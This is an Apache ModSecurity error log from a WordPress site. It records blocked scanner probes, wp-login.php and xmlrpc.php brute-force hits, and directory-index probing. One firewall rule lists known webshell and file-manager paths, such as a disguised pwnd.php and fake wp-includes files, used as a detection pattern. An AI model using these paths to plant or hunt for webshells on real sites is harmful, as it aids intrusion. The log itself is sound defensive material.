[Mon Apr 20 15:51:07.266196 2026] [:error] [pid 42014:tid 42022] [client 147.135.253.34:45878] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aeXa68ek-00-ZI0f1NotLwAAAQY"]
[Mon Apr 20 15:51:09.178588 2026] [:error] [pid 11352:tid 11414] [client 147.135.253.34:43610] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aeXa7Wl10mhMSfJ7ir-YMQAAAIA"]
[Mon Apr 20 15:51:11.105953 2026] [:error] [pid 6928:tid 6938] [client 147.135.253.34:43622] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aeXa7x3y7MHq1iB0qYpDvQAAAUg"]
[Mon Apr 20 15:51:13.154021 2026] [:error] [pid 11351:tid 11392] [client 147.135.253.34:43626] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aeXa8QN8Z1-vktaI_tOfWQAAAEU"]
[Mon Apr 20 15:51:15.028886 2026] [:error] [pid 11352:tid 11416] [client 147.135.253.34:43640] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aeXa82l10mhMSfJ7ir-YPQAAAII"]
[Mon Apr 20 15:51:17.072685 2026] [:error] [pid 11441:tid 11467] [client 147.135.253.34:43656] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeXa9cixByFUvmh319AmnwAAANg"]
[Mon Apr 20 15:51:18.987861 2026] [:error] [pid 11441:tid 11449] [client 147.135.253.34:60840] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aeXa9sixByFUvmh319AmpAAAAMY"]
[Mon Apr 20 15:51:21.032180 2026] [:error] [pid 42014:tid 42018] [client 147.135.253.34:60850] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aeXa-cek-00-ZI0f1NotUQAAAQI"]
[Mon Apr 20 15:51:22.941332 2026] [:error] [pid 6928:tid 6954] [client 147.135.253.34:60860] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeXa-h3y7MHq1iB0qYpEDAAAAVg"]
[Mon Apr 20 15:51:24.845713 2026] [:error] [pid 6928:tid 6937] [client 147.135.253.34:60876] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeXa_B3y7MHq1iB0qYpEEAAAAUc"]
[Mon Apr 20 15:51:26.734555 2026] [:error] [pid 6928:tid 6939] [client 147.135.253.34:60888] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aeXa_h3y7MHq1iB0qYpEGAAAAUk"]
[Mon Apr 20 15:51:28.777729 2026] [:error] [pid 11441:tid 11444] [client 147.135.253.34:50448] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aeXbAMixByFUvmh319AmuAAAAME"]
[Mon Apr 20 15:51:30.667988 2026] [:error] [pid 6928:tid 6950] [client 147.135.253.34:50454] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aeXbAh3y7MHq1iB0qYpEIAAAAVQ"]
[Mon Apr 20 15:51:32.698123 2026] [:error] [pid 11441:tid 11452] [client 147.135.253.34:50458] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aeXbBMixByFUvmh319AmwQAAAMk"]
[Mon Apr 20 15:51:34.611540 2026] [:error] [pid 11350:tid 11372] [client 147.135.253.34:50470] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aeXbBv4EoMBgOJuJnT1F7QAAAA0"]
[Mon Apr 20 15:51:36.643683 2026] [:error] [pid 11351:tid 11402] [client 147.135.253.34:50482] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aeXbCAN8Z1-vktaI_tOfagAAAE8"]
[Mon Apr 20 15:51:38.512807 2026] [:error] [pid 6928:tid 6942] [client 147.135.253.34:53186] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aeXbCh3y7MHq1iB0qYpELwAAAUw"]
[Mon Apr 20 15:51:40.557319 2026] [:error] [pid 11441:tid 11461] [client 147.135.253.34:53200] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aeXbDMixByFUvmh319AmyQAAANI"]
[Mon Apr 20 15:51:42.452263 2026] [:error] [pid 6928:tid 6930] [client 147.135.253.34:53212] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aeXbDh3y7MHq1iB0qYpEOQAAAUA"]
[Mon Apr 20 16:00:04.019016 2026] [:error] [pid 6928:tid 6947] [client 45.131.195.125:50557] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "aeXdBB3y7MHq1iB0qYpKDAAAAVE"]
[Mon Apr 20 16:16:00.479859 2026] [:error] [pid 11441:tid 11459] [client 66.29.129.135:37928] [client 66.29.129.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.129.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXgwMixByFUvmh319AvXwAAANA"]
[Mon Apr 20 16:16:02.703273 2026] [:error] [pid 11441:tid 11446] [client 66.29.129.135:37928] [client 66.29.129.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.129.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXgwsixByFUvmh319AvYgAAAMM"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 16:20:51.049697 2026] [:error] [pid 11441:tid 11452] [client 43.153.87.54:49950] [client 43.153.87.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeXh48ixByFUvmh319AwhQAAAMk"]
[Mon Apr 20 16:45:39.175311 2026] [:error] [pid 6928:tid 6949] [client 117.53.155.42:47152] [client 117.53.155.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 117.53.155.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXnsx3y7MHq1iB0qYpjuAAAAVM"]
[Mon Apr 20 16:45:40.948861 2026] [:error] [pid 6928:tid 6951] [client 117.53.155.42:47152] [client 117.53.155.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 117.53.155.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXntB3y7MHq1iB0qYpjvgAAAVU"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 16:56:17.651373 2026] [:error] [pid 6928:tid 6946] [client 148.251.46.181:56654] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXqMR3y7MHq1iB0qYpnogAAAVA"]
[Mon Apr 20 17:10:28.467890 2026] [:error] [pid 42014:tid 42019] [client 2.58.56.120:52849] [client 2.58.56.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/postnews.php"] [unique_id "aeXthMek-00-ZI0f1NpMEgAAAQM"]
[Mon Apr 20 17:14:52.019978 2026] [:error] [pid 11441:tid 11457] [client 39.97.110.217:50332] [client 39.97.110.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 39.97.110.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXujMixByFUvmh319BGDAAAAM4"]
[Mon Apr 20 17:32:32.804718 2026] [:error] [pid 11352:tid 11415] [client 49.36.211.133:50021] [client 49.36.211.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.211.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXysGl10mhMSfJ7ir-wmgAAAIE"]
[Mon Apr 20 17:32:43.453054 2026] [:error] [pid 6928:tid 6953] [client 49.36.211.133:50415] [client 49.36.211.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.211.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXyux3y7MHq1iB0qYp25wAAAVc"]
[Mon Apr 20 17:32:54.843398 2026] [:error] [pid 11441:tid 11450] [client 49.36.211.133:50731] [client 49.36.211.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.211.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXyxsixByFUvmh319BPLgAAAMc"]
[Mon Apr 20 17:33:06.346397 2026] [:error] [pid 11352:tid 11424] [client 49.36.211.133:51017] [client 49.36.211.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.211.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXy0ml10mhMSfJ7ir-wrwAAAIo"]
[Mon Apr 20 17:33:20.076779 2026] [:error] [pid 42014:tid 42031] [client 49.36.211.133:51335] [client 49.36.211.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.211.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXy4Mek-00-ZI0f1NpTdQAAAQ8"]
[Mon Apr 20 17:33:42.859374 2026] [:error] [pid 11441:tid 11465] [client 103.110.84.178:45046] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXy9sixByFUvmh319BPlAAAANY"]
[Mon Apr 20 17:57:51.923315 2026] [:error] [pid 11352:tid 11427] [client 137.131.234.75:56472] [client 137.131.234.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.131.234.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeX4n2l10mhMSfJ7ir-4RQAAAI0"]
[Mon Apr 20 17:57:54.023144 2026] [:error] [pid 11352:tid 11423] [client 137.131.234.75:56472] [client 137.131.234.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.131.234.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeX4oml10mhMSfJ7ir-4RwAAAIk"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 17:57:55.548154 2026] [:error] [pid 11441:tid 11444] [client 69.49.112.65:42822] [client 69.49.112.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeX4o8ixByFUvmh319BfIgAAAME"]
[Mon Apr 20 18:12:21.431007 2026] [:error] [pid 11441:tid 11453] [client 178.79.173.199:33376] [client 178.79.173.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.79.173.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeX8BcixByFUvmh319Bn0wAAAMo"]
[Mon Apr 20 18:22:55.379063 2026] [:error] [pid 11441:tid 11447] [client 167.172.79.172:16818] [client 167.172.79.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.79.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeX-f8ixByFUvmh319BueAAAAMQ"]
[Mon Apr 20 18:23:00.632508 2026] [:error] [pid 11441:tid 11447] [client 167.172.79.172:16818] [client 167.172.79.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.79.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeX-hMixByFUvmh319BukwAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 19:10:10.564781 2026] [:error] [pid 11351:tid 11397] [client 192.176.172.166:50200] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeYJkgN8Z1-vktaI_tPSdAAAAEo"]
[Mon Apr 20 19:10:12.360737 2026] [:error] [pid 11351:tid 11390] [client 192.176.172.166:50200] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeYJlAN8Z1-vktaI_tPSdgAAAEM"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 19:19:27.206232 2026] [:error] [pid 11494:tid 11520] [client 89.251.0.65:54643] [client 89.251.0.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeYLv8gko5iFiE8YoyTHFQAAAZg"]
[Mon Apr 20 19:19:40.213417 2026] [autoindex:error] [pid 11351:tid 11393] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:19:44.431818 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:19:55.232215 2026] [autoindex:error] [pid 11351:tid 11392] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:19:57.210800 2026] [autoindex:error] [pid 11351:tid 11400] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:06.896838 2026] [autoindex:error] [pid 11351:tid 11391] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:07.255101 2026] [autoindex:error] [pid 11351:tid 11409] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:09.590447 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:10.034711 2026] [autoindex:error] [pid 11351:tid 11396] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:10.300728 2026] [autoindex:error] [pid 11351:tid 11393] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:11.767791 2026] [autoindex:error] [pid 11351:tid 11403] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:12.045963 2026] [autoindex:error] [pid 11351:tid 11392] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:12.582508 2026] [autoindex:error] [pid 11351:tid 11407] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:20:14.727658 2026] [autoindex:error] [pid 11351:tid 11397] [client 89.251.0.53:64735] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
